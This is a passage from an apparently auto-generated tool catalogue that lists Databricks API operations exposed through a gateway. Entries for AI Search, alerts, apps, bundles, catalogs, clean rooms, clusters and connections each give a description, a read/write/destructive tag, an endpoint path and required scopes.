``etag`` to make the update conditional on the agent service not having changed since it was read... POST /api/v1/tools/databricks/ai-gateway-update-agent-service. Scopes: catalog:write. databricks_ai_gateway_update_mcp_service (write) — Updates an MCP service. Only the fields named in ``update_mask`` are changed; the resource name is immutable. Optionally supply an ``etag`` to make the update conditional on the MCP service not having changed since it was read. You must be the owner of the... POST /api/v1/tools/databricks/ai-gateway-update-mcp-service. Scopes: catalog:write. databricks_ai_gateway_update_model_provider_service (write) — Updates a model provider service. Only the fields named in ``update_mask`` are changed; the resource name and provider type are immutable. Optionally supply an ``etag`` to make the update conditional on the model provider service not having changed since it... POST /api/v1/tools/databricks/ai-gateway-update-model-provider-service. Scopes: catalog:write. databricks_ai_gateway_update_model_service (write) — Updates a model service. Only the fields named in ``update_mask`` are changed; the resource name is immutable. Optionally supply an ``etag`` to make the update conditional on the model service not having changed since it was read. You must be the owner of... POST /api/v1/tools/databricks/ai-gateway-update-model-service. Scopes: catalog:write. databricks_ai_search_create_endpoint (write) — Create a new AI Search endpoint. POST /api/2.0/ai-search/{parent}/endpoints on Databricks. Requires parent. POST /api/v1/tools/databricks/ai-search-create-endpoint. Scopes: ml:write. databricks_ai_search_create_index (write) — Create a new AI Search index. POST /api/2.0/ai-search/{parent}/indexes on Databricks. Requires parent. POST /api/v1/tools/databricks/ai-search-create-index. Scopes: ml:write. databricks_ai_search_delete_endpoint (write, destructive) — DESTRUCTIVE - Delete an AI Search endpoint. POST /api/v1/tools/databricks/ai-search-delete-endpoint. Scopes: ml:write. databricks_ai_search_delete_index (write, destructive) — DESTRUCTIVE - Delete an AI Search index. POST /api/v1/tools/databricks/ai-search-delete-index. Scopes: ml:write. databricks_ai_search_get_endpoint (read) — Get details for a single AI Search endpoint. GET /api/v1/tools/databricks/ai-search-get-endpoint. Scopes: ml:read. databricks_ai_search_get_index (read) — Get details for a single AI Search index. GET /api/v1/tools/databricks/ai-search-get-index. Scopes: ml:read. databricks_ai_search_list_endpoints (read) — List AI Search endpoints in a workspace. GET /api/v1/tools/databricks/ai-search-list-endpoints. Scopes: ml:read. databricks_ai_search_list_indexes (read) — List AI Search indexes on an endpoint. GET /api/2.0/ai-search/{parent}/indexes on Databricks. Requires parent. GET /api/v1/tools/databricks/ai-search-list-indexes. Scopes: ml:read. databricks_ai_search_query_index (write) — Query (search) an AI Search index. Read-only, so a read-scoped token may invoke it. POST /api/v1/tools/databricks/ai-search-query-index. Scopes: ml:write. databricks_ai_search_remove_data (write, destructive) — DESTRUCTIVE - Remove rows by primary key from a Direct Access AI Search index. POST /api/v1/tools/databricks/ai-search-remove-data. Scopes: ml:write. databricks_ai_search_scan_index (write) — Scan (paginate over) the rows of an AI Search index. POST /api/v1/tools/databricks/ai-search-scan-index. Scopes: ml:write. databricks_ai_search_sync_index (write) — Synchronize a Delta Sync AI Search index with its source Delta table. Applies only to Delta Sync indexes; Direct Access indexes are written via the data-plane upsert path. POST /api/v1/tools/databricks/ai-search-sync-index. Scopes: ml:write. databricks_ai_search_update_endpoint (write) — Update an existing AI Search endpoint. Multi-bucket masks are supported and dispatched in deterministic bucket order: budget policy, custom tags, throughput, then scaling/replicas. Per-bucket dispatch is not atomic across buckets — if a later bucket fails... POST /api/v1/tools/databricks/ai-search-update-endpoint. Scopes: ml:write. databricks_ai_search_upsert_data (write) — Upsert rows into a Direct Access AI Search index. POST /api/v1/tools/databricks/ai-search-upsert-data. Scopes: ml:write. databricks_aibi_dashboard_embedding_access_policy_delete (write, destructive) — DESTRUCTIVE - Delete the AI/BI dashboard embedding access policy, reverting back to the default. POST /api/v1/tools/databricks/aibi-dashboard-embedding-access-policy-delete. Scopes: settings:write. databricks_aibi_dashboard_embedding_access_policy_get (read) — Retrieves the AI/BI dashboard embedding access policy. The default setting is ALLOW_APPROVED_DOMAINS, permitting AI/BI dashboards to be embedded on approved domains. GET /api/v1/tools/databricks/aibi-dashboard-embedding-access-policy-get. Scopes: settings:read. databricks_aibi_dashboard_embedding_access_policy_update (write) — Updates the AI/BI dashboard embedding access policy at the workspace level. POST /api/v1/tools/databricks/aibi-dashboard-embedding-access-policy-update. Scopes: settings:write. databricks_aibi_dashboard_embedding_approved_domains_delete (write, destructive) — DESTRUCTIVE - Delete the list of domains approved to host embedded AI/BI dashboards, reverting back to the default empty list. POST /api/v1/tools/databricks/aibi-dashboard-embedding-approved-domains-delete. Scopes: settings:write. databricks_aibi_dashboard_embedding_approved_domains_get (read) — Retrieves the list of domains approved to host embedded AI/BI dashboards. GET /api/v1/tools/databricks/aibi-dashboard-embedding-approved-domains-get. Scopes: settings:read. databricks_aibi_dashboard_embedding_approved_domains_update (write) — Updates the list of domains approved to host embedded AI/BI dashboards. This update will fail if the current workspace access policy is not ALLOW_APPROVED_DOMAINS. POST /api/v1/tools/databricks/aibi-dashboard-embedding-approved-domains-update. Scopes: settings:write. databricks_alerts_create (write) — Creates an alert. POST /api/2.0/sql/alerts on Databricks. POST /api/v1/tools/databricks/alerts-create. Scopes: sql:write. databricks_alerts_delete (write, destructive) — DESTRUCTIVE - Moves an alert to the trash. Trashed alerts immediately disappear from searches and list views, and can no longer trigger. You can restore a trashed alert through the UI. A trashed alert is permanently deleted after 30 days. POST /api/v1/tools/databricks/alerts-delete. Scopes: sql:write. databricks_alerts_get (read) — Gets an alert. GET /api/2.0/sql/alerts/{id} on Databricks. Requires id. GET /api/v1/tools/databricks/alerts-get. Scopes: sql:read. databricks_alerts_legacy_create (write) — Creates an alert. An alert is a Databricks SQL object that periodically runs a query, evaluates a condition of its result, and notifies users or notification destinations if the condition was met. **Warning**: This API is deprecated. Please use... POST /api/v1/tools/databricks/alerts-legacy-create. Scopes: sql:write. databricks_alerts_legacy_delete (write, destructive) — DESTRUCTIVE - Deletes an alert. Deleted alerts are no longer accessible and cannot be restored. **Note**: Unlike queries and dashboards, alerts cannot be moved to the trash. **Warning**: This API is deprecated. Please use :method:alerts/delete instead. `Learn... POST /api/v1/tools/databricks/alerts-legacy-delete. Scopes: sql:write. databricks_alerts_legacy_get (read) — Gets an alert. **Warning**: This API is deprecated. Please use :method:alerts/get instead. `Learn more `__ GET /api/v1/tools/databricks/alerts-legacy-get. Scopes: sql:read. databricks_alerts_legacy_list (read) — Gets a list of alerts. **Warning**: This API is deprecated. Please use :method:alerts/list instead. `Learn more `__ GET /api/v1/tools/databricks/alerts-legacy-list. Scopes: sql:read. databricks_alerts_legacy_update (write) — Updates an alert. **Warning**: This API is deprecated. Please use :method:alerts/update instead. `Learn more `__ POST /api/v1/tools/databricks/alerts-legacy-update. Scopes: sql:write. databricks_alerts_list (read) — Gets a list of alerts accessible to the user, ordered by creation time. **Warning:** Calling this API concurrently 10 or more times could result in throttling, service degradation, or a temporary ban. GET /api/v1/tools/databricks/alerts-list. Scopes: sql:read. databricks_alerts_update (write) — Updates an alert. PATCH /api/2.0/sql/alerts/{id} on Databricks. Requires id, update_mask. POST /api/v1/tools/databricks/alerts-update. Scopes: sql:write. databricks_alerts_v2_create_alert (write) — Create Alert. POST /api/2.0/alerts on Databricks. POST /api/v1/tools/databricks/alerts-v2-create-alert. Scopes: sql:write. databricks_alerts_v2_get_alert (read) — Gets an alert. GET /api/2.0/alerts/{id} on Databricks. Requires id. GET /api/v1/tools/databricks/alerts-v2-get-alert. Scopes: sql:read. databricks_alerts_v2_list_alerts (read) — Gets a list of alerts accessible to the user, ordered by creation time. GET /api/v1/tools/databricks/alerts-v2-list-alerts. Scopes: sql:read. databricks_alerts_v2_trash_alert (write, destructive) — DESTRUCTIVE - Moves an alert to the trash. Trashed alerts immediately disappear from list views, and can no longer trigger. You can restore a trashed alert through the UI. A trashed alert is permanently deleted after 30 days. POST /api/v1/tools/databricks/alerts-v2-trash-alert. Scopes: sql:write. databricks_alerts_v2_update_alert (write) — Update alert. PATCH /api/2.0/alerts/{id} on Databricks. Requires id, update_mask. POST /api/v1/tools/databricks/alerts-v2-update-alert. Scopes: sql:write. databricks_apps_create (write) — Creates a new app. POST /api/2.0/apps on Databricks. POST /api/v1/tools/databricks/apps-create. Scopes: apps:write. databricks_apps_create_space (write) — Creates a new app space. POST /api/2.0/app-spaces on Databricks. POST /api/v1/tools/databricks/apps-create-space. Scopes: apps:write. databricks_apps_create_update (write) — Creates an app update and starts the update process. The update process is asynchronous and the status of the update can be checked with the GetAppUpdate method. POST /api/v1/tools/databricks/apps-create-update. Scopes: apps:write. databricks_apps_delete (write, destructive) — DESTRUCTIVE — Deletes an app. DELETE /api/2.0/apps/{name} on Databricks. Requires name. POST /api/v1/tools/databricks/apps-delete. Scopes: apps:write. databricks_apps_delete_app_thumbnail (write, destructive) — DESTRUCTIVE - Deletes the thumbnail for an app. POST /api/v1/tools/databricks/apps-delete-app-thumbnail. Scopes: apps:write. databricks_apps_delete_space (write, destructive) — DESTRUCTIVE — Deletes an app space. DELETE /api/2.0/app-spaces/{name} on Databricks. Requires name. POST /api/v1/tools/databricks/apps-delete-space. Scopes: apps:write. databricks_apps_deploy (write) — Creates an app deployment for the app with the supplied name. POST /api/v1/tools/databricks/apps-deploy. Scopes: apps:write. databricks_apps_get (read) — Retrieves information for the app with the supplied name. GET /api/v1/tools/databricks/apps-get. Scopes: apps:read. databricks_apps_get_deployment (read) — Retrieves information for the app deployment with the supplied name and deployment id. GET /api/v1/tools/databricks/apps-get-deployment. Scopes: apps:read. databricks_apps_get_permission_levels (read) — Gets the permission levels that a user can have on an object. GET /api/v1/tools/databricks/apps-get-permission-levels. Scopes: apps:read. databricks_apps_get_permissions (read) — Gets the permissions of an app. Apps can inherit permissions from their root object. GET /api/v1/tools/databricks/apps-get-permissions. Scopes: apps:read. databricks_apps_get_space (read) — Retrieves information for the app space with the supplied name. GET /api/v1/tools/databricks/apps-get-space. Scopes: apps:read. databricks_apps_get_space_operation (read) — Gets the status of an app space update operation. GET /api/v1/tools/databricks/apps-get-space-operation. Scopes: apps:read. databricks_apps_get_update (read) — Gets the status of an app update. GET /api/2.0/apps/{app_name}/update on Databricks. Requires app_name. GET /api/v1/tools/databricks/apps-get-update. Scopes: apps:read. databricks_apps_list (read) — Lists all apps in the workspace. GET /api/2.0/apps on Databricks. GET /api/v1/tools/databricks/apps-list. Scopes: apps:read. databricks_apps_list_deployments (read) — Lists all app deployments for the app with the supplied name. GET /api/v1/tools/databricks/apps-list-deployments. Scopes: apps:read. databricks_apps_list_spaces (read) — Lists all app spaces in the workspace. GET /api/2.0/app-spaces on Databricks. GET /api/v1/tools/databricks/apps-list-spaces. Scopes: apps:read. databricks_apps_settings_create_custom_template (write) — Creates a custom template. POST /api/2.0/apps-settings/templates on Databricks. POST /api/v1/tools/databricks/apps-settings-create-custom-template. Scopes: apps:write. databricks_apps_settings_delete_custom_template (write, destructive) — DESTRUCTIVE - Deletes the custom template with the specified name. POST /api/v1/tools/databricks/apps-settings-delete-custom-template. Scopes: apps:write. databricks_apps_settings_get_custom_template (read) — Gets the custom template with the specified name. GET /api/v1/tools/databricks/apps-settings-get-custom-template. Scopes: apps:read. databricks_apps_settings_list_custom_templates (read) — Lists all custom templates in the workspace. GET /api/v1/tools/databricks/apps-settings-list-custom-templates. Scopes: apps:read. databricks_apps_settings_update_custom_template (write) — Updates the custom template with the specified name. Note that the template name cannot be updated. POST /api/v1/tools/databricks/apps-settings-update-custom-template. Scopes: apps:write. databricks_apps_start (write) — Start the last active deployment of the app in the workspace. POST /api/v1/tools/databricks/apps-start. Scopes: apps:write. databricks_apps_stop (write) — Stops the active deployment of the app in the workspace. POST /api/v1/tools/databricks/apps-stop. Scopes: apps:write. databricks_apps_update (write) — Updates the app with the supplied name. PATCH /api/2.0/apps/{name} on Databricks. Requires name. POST /api/v1/tools/databricks/apps-update. Scopes: apps:write. databricks_apps_update_app_thumbnail (write) — Updates the thumbnail for an app. PATCH /api/2.0/apps/{name}/thumbnail on Databricks. Requires name. POST /api/v1/tools/databricks/apps-update-app-thumbnail. Scopes: apps:write. databricks_apps_update_space (write) — Updates an app space. The update process is asynchronous and the status of the update can be checked with the GetSpaceOperation method. POST /api/v1/tools/databricks/apps-update-space. Scopes: apps:write. databricks_automatic_cluster_update_get (read) — Gets the automatic cluster update setting. GET /api/v1/tools/databricks/automatic-cluster-update-get. Scopes: settings:read. databricks_automatic_cluster_update_update (write) — Updates the automatic cluster update setting for the workspace. A fresh etag needs to be provided in ``PATCH`` requests (as part of the setting field). The etag can be retrieved by making a ``GET`` request before the ``PATCH`` request. If the setting is... POST /api/v1/tools/databricks/automatic-cluster-update-update. Scopes: settings:write. databricks_bundle_complete_version (write) — Marks a version as complete and releases the deployment lock. The server atomically: 1. Sets the version status to the provided terminal status. 2. Sets `complete_time` to the current server timestamp. 3. Releases the lock on the parent deployment. 4... POST /api/v1/tools/databricks/bundle-complete-version. Scopes: jobs:write. databricks_bundle_create_deployment (write) — Creates a new deployment in the workspace. The caller must provide a `deployment_id` which becomes the final component of the deployment's resource name. If a deployment with the same ID already exists, the server returns `ALREADY_EXISTS`. POST /api/v1/tools/databricks/bundle-create-deployment. Scopes: jobs:write. databricks_bundle_create_operation (write) — Creates a resource operation under a version. The caller must provide a `resource_key` which becomes the final component of the operation's name. If an operation with the same key already exists under the version, the server returns `ALREADY_EXISTS`. On... POST /api/v1/tools/databricks/bundle-create-operation. Scopes: jobs:write. databricks_bundle_create_version (write) — Creates a new version under a deployment. Creating a version acquires an exclusive lock on the deployment, preventing concurrent deploys. The caller provides a `version_id` which the server validates equals `last_version_id + 1` on the deployment. POST /api/v1/tools/databricks/bundle-create-version. Scopes: jobs:write. databricks_bundle_delete_deployment (write, destructive) — DESTRUCTIVE - Deletes a deployment. The deployment is marked as deleted. It and all its children (versions and their operations) will be permanently deleted after the retention policy expires. If the deployment has an in-progress version, the server returns... POST /api/v1/tools/databricks/bundle-delete-deployment. Scopes: jobs:write. databricks_bundle_deployments_complete_version (write) — Marks a version as complete and releases the deployment lock. The server atomically: 1. Sets the version status to the provided terminal status. 2. Sets ``complete_time`` to the current server timestamp. 3. Releases the lock on the parent deployment. 4... POST /api/v1/tools/databricks/bundle-deployments-complete-version. Scopes: jobs:write. databricks_bundle_deployments_create_deployment (write) — Creates a new deployment in the workspace. POST /api/v1/tools/databricks/bundle-deployments-create-deployment. Scopes: jobs:write. databricks_bundle_deployments_create_version (write) — Creates a new version under a deployment. Creating a version acquires an exclusive lock on the deployment, preventing concurrent deploys. The caller provides a ``version_id``, a numeric string that must be numerically greater than the deployment's most... POST /api/v1/tools/databricks/bundle-deployments-create-version. Scopes: jobs:write. databricks_bundle_deployments_delete_deployment (write, destructive) — DESTRUCTIVE — Deletes a deployment. DELETE /api/2.0/bundle/{name} on Databricks. Requires name. POST /api/v1/tools/databricks/bundle-deployments-delete-deployment. Scopes: jobs:write. databricks_bundle_deployments_get_deployment (read) — Retrieves a deployment by its resource name. GET /api/v1/tools/databricks/bundle-deployments-get-deployment. Scopes: jobs:read. databricks_bundle_deployments_get_operation (read) — Retrieves a resource operation by its resource name. GET /api/v1/tools/databricks/bundle-deployments-get-operation. Scopes: jobs:read. databricks_bundle_deployments_get_resource (read) — Retrieves a deployment resource by its resource name. GET /api/v1/tools/databricks/bundle-deployments-get-resource. Scopes: jobs:read. databricks_bundle_deployments_get_version (read) — Retrieves a version by its resource name. GET /api/v1/tools/databricks/bundle-deployments-get-version. Scopes: jobs:read. databricks_bundle_deployments_heartbeat (write) — Sends a heartbeat to renew the lock held by a version. The server validates that the version is the active (non-terminal) version on the parent deployment and resets the lock expiry. If the lock has already expired or the version is no longer active, the... POST /api/v1/tools/databricks/bundle-deployments-heartbeat. Scopes: jobs:write. databricks_bundle_deployments_list_deployments (read) — Lists deployments in the workspace. GET /api/2.0/bundle/deployments on Databricks. GET /api/v1/tools/databricks/bundle-deployments-list-deployments. Scopes: jobs:read. databricks_bundle_deployments_list_operations (read) — Lists resource operations under a version. GET /api/v1/tools/databricks/bundle-deployments-list-operations. Scopes: jobs:read. databricks_bundle_deployments_list_resources (read) — Lists resources under a deployment. GET /api/2.0/bundle/{parent}/resources on Databricks. Requires parent. GET /api/v1/tools/databricks/bundle-deployments-list-resources. Scopes: jobs:read. databricks_bundle_deployments_list_versions (read) — Lists versions under a deployment, ordered numerically by version_id descending (most recent first). GET /api/v1/tools/databricks/bundle-deployments-list-versions. Scopes: jobs:read. databricks_bundle_deployments_update_operation (write) — Updates a resource operation's mutable fields. ``state``, ``error_message``, ``resource_id``, ``status``, and ``dashboard_metadata`` may be updated, independently; ``update_mask`` must contain only those paths. All other fields are immutable. The update is... POST /api/v1/tools/databricks/bundle-deployments-update-operation. Scopes: jobs:write. databricks_bundle_get_deployment (read) — Retrieves a deployment by its resource name. GET /api/v1/tools/databricks/bundle-get-deployment. Scopes: jobs:read. databricks_bundle_get_operation (read) — Retrieves a resource operation by its resource name. GET /api/v1/tools/databricks/bundle-get-operation. Scopes: jobs:read. databricks_bundle_get_resource (read) — Retrieves a deployment resource by its resource name. GET /api/v1/tools/databricks/bundle-get-resource. Scopes: jobs:read. databricks_bundle_get_version (read) — Retrieves a version by its resource name. GET /api/v1/tools/databricks/bundle-get-version. Scopes: jobs:read. databricks_bundle_heartbeat (write) — Sends a heartbeat to renew the lock held by a version. The server validates that the version is the active (non-terminal) version on the parent deployment and resets the lock expiry. If the lock has already expired or the version is no longer active, the... POST /api/v1/tools/databricks/bundle-heartbeat. Scopes: jobs:write. databricks_bundle_list_deployments (read) — Lists deployments in the workspace. GET /api/2.0/bundle/deployments on Databricks. GET /api/v1/tools/databricks/bundle-list-deployments. Scopes: jobs:read. databricks_bundle_list_operations (read) — Lists resource operations under a version. GET /api/v1/tools/databricks/bundle-list-operations. Scopes: jobs:read. databricks_bundle_list_resources (read) — Lists resources under a deployment. GET /api/2.0/bundle/{parent}/resources on Databricks. Requires parent. GET /api/v1/tools/databricks/bundle-list-resources. Scopes: jobs:read. databricks_bundle_list_versions (read) — Lists versions under a deployment, ordered by version_id descending (most recent first). GET /api/v1/tools/databricks/bundle-list-versions. Scopes: jobs:read. databricks_catalogs_create (write) — Creates a new catalog instance in the parent metastore if the caller is a metastore admin or has the **CREATE_CATALOG** privilege. POST /api/v1/tools/databricks/catalogs-create. Scopes: catalog:write. databricks_catalogs_delete (write, destructive) — DESTRUCTIVE - Deletes the catalog that matches the supplied name. The caller must be a metastore admin or the owner of the catalog. POST /api/v1/tools/databricks/catalogs-delete. Scopes: catalog:write. databricks_catalogs_get (read) — Gets the specified catalog in a metastore. The caller must be a metastore admin, the owner of the catalog, or a user that has the **USE_CATALOG** privilege set for their account. GET /api/v1/tools/databricks/catalogs-get. Scopes: catalog:read. databricks_catalogs_list (read) — Gets an array of catalogs in the metastore. If the caller is the metastore admin, all catalogs will be retrieved. Otherwise, only catalogs owned by the caller (or for which the caller has the **USE_CATALOG** privilege) will be retrieved. There is no... GET /api/v1/tools/databricks/catalogs-list. Scopes: catalog:read. databricks_catalogs_update (write) — Updates the catalog that matches the supplied name. The caller must be either the owner of the catalog, or a metastore admin (when changing the owner field of the catalog). POST /api/v1/tools/databricks/catalogs-update. Scopes: catalog:write. databricks_clean_room_assets_create (write) — Create a clean room asset —share an asset like a notebook or table into the clean room. For each UC asset that is added through this method, the clean room owner must also have enough privilege on the asset to consume it. The privilege must be maintained... POST /api/v1/tools/databricks/clean-room-assets-create. Scopes: cleanrooms:write. databricks_clean_room_assets_list (read) — List assets. GET /api/2.0/clean-rooms/{clean_room_name}/assets on Databricks. Requires clean_room_name. GET /api/v1/tools/databricks/clean-room-assets-list. Scopes: cleanrooms:read. databricks_clean_room_auto_approval_rules_create (write) — Create an auto-approval rule. POST /api/2.0/clean-rooms/{clean_room_name}/auto-approval-rules on Databricks. Requires clean_room_name, auto_approval_rule. POST /api/v1/tools/databricks/clean-room-auto-approval-rules-create. Scopes: cleanrooms:write. databricks_clean_room_auto_approval_rules_delete (write, destructive) — DESTRUCTIVE - Delete a auto-approval rule by rule ID POST /api/v1/tools/databricks/clean-room-auto-approval-rules-delete. Scopes: cleanrooms:write. databricks_clean_room_auto_approval_rules_get (read) — Get a auto-approval rule by rule ID. GET /api/2.0/clean-rooms/{clean_room_name}/auto-approval-rules/{rule_id} on Databricks. Requires clean_room_name, rule_id. GET /api/v1/tools/databricks/clean-room-auto-approval-rules-get. Scopes: cleanrooms:read. databricks_clean_room_auto_approval_rules_list (read) — List all auto-approval rules for the caller GET /api/v1/tools/databricks/clean-room-auto-approval-rules-list. Scopes: cleanrooms:read. databricks_clean_room_auto_approval_rules_update (write) — Update a auto-approval rule by rule ID. PATCH /api/2.0/clean-rooms/{clean_room_name}/auto-approval-rules/{rule_id} on Databricks. Requires clean_room_name, rule_id. POST /api/v1/tools/databricks/clean-room-auto-approval-rules-update. Scopes: cleanrooms:write. databricks_clean_room_task_runs_list (read) — List all the historical notebook task runs in a clean room. GET /api/v1/tools/databricks/clean-room-task-runs-list. Scopes: cleanrooms:read. databricks_clean_room_task_runs_list_clean_room_task_runs_handler (read) — List all the historical task runs in a clean room. GET /api/v1/tools/databricks/clean-room-task-runs-list-clean-room-task-runs-handler. Scopes: cleanrooms:read. databricks_clean_rooms_create (write) — Create a new clean room with the specified collaborators. This method is asynchronous; the returned name field inside the clean_room field can be used to poll the clean room status, using the `cleanrooms/get `__ method. When this method returns, the clean... POST /api/v1/tools/databricks/clean-rooms-create. Scopes: cleanrooms:write. databricks_clean_rooms_create_output_catalog (write) — Create the output catalog of the clean room. POST /api/v1/tools/databricks/clean-rooms-create-output-catalog. Scopes: cleanrooms:write. databricks_clean_rooms_delete (write, destructive) — DESTRUCTIVE - Delete a clean room. After deletion, the clean room will be removed from the metastore. If the other collaborators have not deleted the clean room, they will still have the clean room in their metastore, but it will be in a DELETED state and no... POST /api/v1/tools/databricks/clean-rooms-delete. Scopes: cleanrooms:write. databricks_clean_rooms_get (read) — Get the details of a clean room given its name. GET /api/v1/tools/databricks/clean-rooms-get. Scopes: cleanrooms:read. databricks_clean_rooms_list (read) — Get a list of all clean rooms of the metastore. Only clean rooms the caller has access to are returned. GET /api/v1/tools/databricks/clean-rooms-list. Scopes: cleanrooms:read. databricks_clean_rooms_update (write) — Update a clean room. The caller must be the owner of the clean room, have **MODIFY_CLEAN_ROOM** privilege, or be metastore admin. When the caller is a metastore admin, only the **owner** field can be updated. POST /api/v1/tools/databricks/clean-rooms-update. Scopes: cleanrooms:write. databricks_cluster_policies_create (write) — Creates a new policy with prescribed settings. POST /api/v1/tools/databricks/cluster-policies-create. Scopes: compute:write. databricks_cluster_policies_delete (write, destructive) — DESTRUCTIVE - Delete a policy for a cluster. Clusters governed by this policy can still run, but cannot be edited. POST /api/v1/tools/databricks/cluster-policies-delete. Scopes: compute:write. databricks_cluster_policies_edit (write) — Update an existing policy for cluster. This operation may make some clusters governed by the previous policy invalid. POST /api/v1/tools/databricks/cluster-policies-edit. Scopes: compute:write. databricks_cluster_policies_get (read) — Get a cluster policy entity. Creation and editing is available to admins only. GET /api/v1/tools/databricks/cluster-policies-get. Scopes: compute:read. databricks_cluster_policies_get_permission_levels (read) — Gets the permission levels that a user can have on an object. GET /api/v1/tools/databricks/cluster-policies-get-permission-levels. Scopes: compute:read. databricks_cluster_policies_get_permissions (read) — Gets the permissions of a cluster policy. Cluster policies can inherit permissions from their root object. GET /api/v1/tools/databricks/cluster-policies-get-permissions. Scopes: compute:read. databricks_cluster_policies_list (read) — Returns a list of policies accessible by the requesting user. GET /api/v1/tools/databricks/cluster-policies-list. Scopes: compute:read. databricks_clusters_change_owner (write) — Change the owner of the cluster. You must be an admin and the cluster must be terminated to perform this operation. The service principal application ID can be supplied as an argument to ``owner_username``. POST /api/v1/tools/databricks/clusters-change-owner. Scopes: compute:write. databricks_clusters_create (write) — Creates a new Spark cluster. This method will acquire new instances from the cloud provider if necessary. This method is asynchronous; the returned ``cluster_id`` can be used to poll the cluster status. When this method returns, the cluster will be in a... POST /api/v1/tools/databricks/clusters-create. Scopes: compute:write. databricks_clusters_delete (write, destructive) — DESTRUCTIVE - Terminates the Spark cluster with the specified ID. The cluster is removed asynchronously. Once the termination has completed, the cluster will be in a ``TERMINATED`` state. If the cluster is already in a ``TERMINATING`` or ``TERMINATED`` state... POST /api/v1/tools/databricks/clusters-delete. Scopes: compute:write. databricks_clusters_edit (write) — Updates the configuration of a cluster to match the provided attributes and size. A cluster can be updated if it is in a ``RUNNING`` or ``TERMINATED`` state. If a cluster is updated while in a ``RUNNING`` state, it will be restarted so that the new... POST /api/v1/tools/databricks/clusters-edit. Scopes: compute:write. databricks_clusters_events (write) — Retrieves a list of events about the activity of a cluster. This API is paginated. If there are more events to read, the response includes all the parameters necessary to request the next page of events. POST /api/v1/tools/databricks/clusters-events. Scopes: compute:write. databricks_clusters_get (read) — Retrieves the information for a cluster given its identifier. Clusters can be described while they are running, or up to 60 days after they are terminated. GET /api/v1/tools/databricks/clusters-get. Scopes: compute:read. databricks_clusters_get_diagnostic (read) — Returns the most recent cluster diagnostics result for a cluster. Cluster diagnostics are a set of environment checks -- for example, network reachability to the control plane, storage, DNS, and the SCC tunnel -- that verify the cluster's environment is set... GET /api/v1/tools/databricks/clusters-get-diagnostic. Scopes: compute:read. databricks_clusters_get_permission_levels (read) — Gets the permission levels that a user can have on an object. GET /api/v1/tools/databricks/clusters-get-permission-levels. Scopes: compute:read. databricks_clusters_get_permissions (read) — Gets the permissions of a cluster. Clusters can inherit permissions from their root object. GET /api/v1/tools/databricks/clusters-get-permissions. Scopes: compute:read. databricks_clusters_list (read) — Return information about all pinned and active clusters, and all clusters terminated within the last 30 days. Clusters terminated prior to this period are not included. GET /api/v1/tools/databricks/clusters-list. Scopes: compute:read. databricks_clusters_list_node_types (read) — Returns a list of supported Spark node types. These node types can be used to launch a cluster. GET /api/v1/tools/databricks/clusters-list-node-types. Scopes: compute:read. databricks_clusters_list_zones (read) — Returns a list of availability zones where clusters can be created in (For example, us-west-2a). These zones can be used to launch a cluster. GET /api/v1/tools/databricks/clusters-list-zones. Scopes: compute:read. databricks_clusters_permanent_delete (write, destructive) — DESTRUCTIVE - Permanently deletes a Spark cluster. This cluster is terminated and resources are asynchronously removed. In addition, users will no longer see permanently deleted clusters in the cluster list, and API users can no longer perform any action on... POST /api/v1/tools/databricks/clusters-permanent-delete. Scopes: compute:write. databricks_clusters_pin (write) — Pinning a cluster ensures that the cluster will always be returned by the ListClusters API. Pinning a cluster that is already pinned will have no effect. This API can only be called by workspace admins. POST /api/v1/tools/databricks/clusters-pin. Scopes: compute:write. databricks_clusters_resize (write) — Resizes a cluster to have a desired number of workers. This will fail unless the cluster is in a ``RUNNING`` state. POST /api/v1/tools/databricks/clusters-resize. Scopes: compute:write. databricks_clusters_restart (write, destructive) — DESTRUCTIVE - Restarts a Spark cluster with the supplied ID. If the cluster is not currently in a ``RUNNING`` state, nothing will happen. POST /api/v1/tools/databricks/clusters-restart. Scopes: compute:write. databricks_clusters_spark_versions (read) — Returns the list of available Spark versions. These versions can be used to launch a cluster. GET /api/v1/tools/databricks/clusters-spark-versions. Scopes: compute:read. databricks_clusters_start (write) — Starts a terminated Spark cluster with the supplied ID. This works similar to ``createCluster`` except: - The previous cluster id and attributes are preserved. - The cluster starts with the last specified cluster size. - If the previous cluster was an... POST /api/v1/tools/databricks/clusters-start. Scopes: compute:write. databricks_clusters_unpin (write) — Unpinning a cluster will allow the cluster to eventually be removed from the ListClusters API. Unpinning a cluster that is not pinned will have no effect. This API can only be called by workspace admins. POST /api/v1/tools/databricks/clusters-unpin. Scopes: compute:write. databricks_clusters_update (write) — Updates the configuration of a cluster to match the partial set of attributes and size. Denote which fields to update using the ``update_mask`` field in the request body. A cluster can be updated if it is in a ``RUNNING`` or ``TERMINATED`` state. If a... POST /api/v1/tools/databricks/clusters-update. Scopes: compute:write. databricks_compliance_security_profile_get (read) — Gets the compliance security profile setting. GET /api/v1/tools/databricks/compliance-security-profile-get. Scopes: settings:read. databricks_compliance_security_profile_update (write) — Updates the compliance security profile setting for the workspace. A fresh etag needs to be provided in ``PATCH`` requests (as part of the setting field). The etag can be retrieved by making a ``GET`` request before the ``PATCH`` request. If the setting is... POST /api/v1/tools/databricks/compliance-security-profile-update. Scopes: settings:write. databricks_connections_create (write) — Creates a new connection Creates a new connection to an external data source. It allows users to specify connection details and configurations for interaction with the external server. POST /api/v1/tools/databricks/connections-create. Scopes: catalog:write. databricks_connections_delete (write, destructive) — DESTRUCTIVE - Deletes the connection that matches the supplied name. POST /api/v1/tools/databricks/connections-delete. Scopes: catalog:write. databricks_connections_get (read) — Gets a connection from it's name. GET /api/2.1/unity-catalog/connections/{name} on Databricks. Requires name. GET /api/v1/tools/databricks/connections-get. Scopes: catalog:read. databricks_connections_list (read) — List all connections. NOTE: we recommend using max_results=0 to use the paginated version of this API. Unpaginated calls will be deprecated soon. PAGINATION BEHAVIOR: When using pagination (max_results >= 0), a page may contain zero results while still... GET /api/v1/tools/databricks/connections-list. Scopes: catalog:read. databricks_connections_update (write) — Updates the connection that matches the supplied name. POST /api/v1/tools/databricks/connections-update. Scopes: catalog:write. databricks_consumer_fulfillments_get (read) — Get a high level preview of the metadata of listing installable content. GET /api/v1/tools/databricks/consumer-fulfillments-get. Scopes: marketplace:read. databricks_consumer_fulfillments_list (read) — Get all listings fulfillments associated with a listing. A *fulfillment* is a potential installation. Standard installations contain metadata about the attached share or git repo. Only one of these fields will be present. Personalized installations contain... GET /api/v1/tools/databricks/consumer-fulfillments-list. Scopes: marketplace:read. databricks_consumer_installations_create (write) — Install payload associated with a Databricks Marketplace listing. POST /api/v1/tools/databricks/consumer-installations-create. Scopes: marketplace:write. databricks_consumer_installations_delete (write, destructive) — DESTRUCTIVE - Uninstall an installation associated with a Databricks Marketplace listing. POST 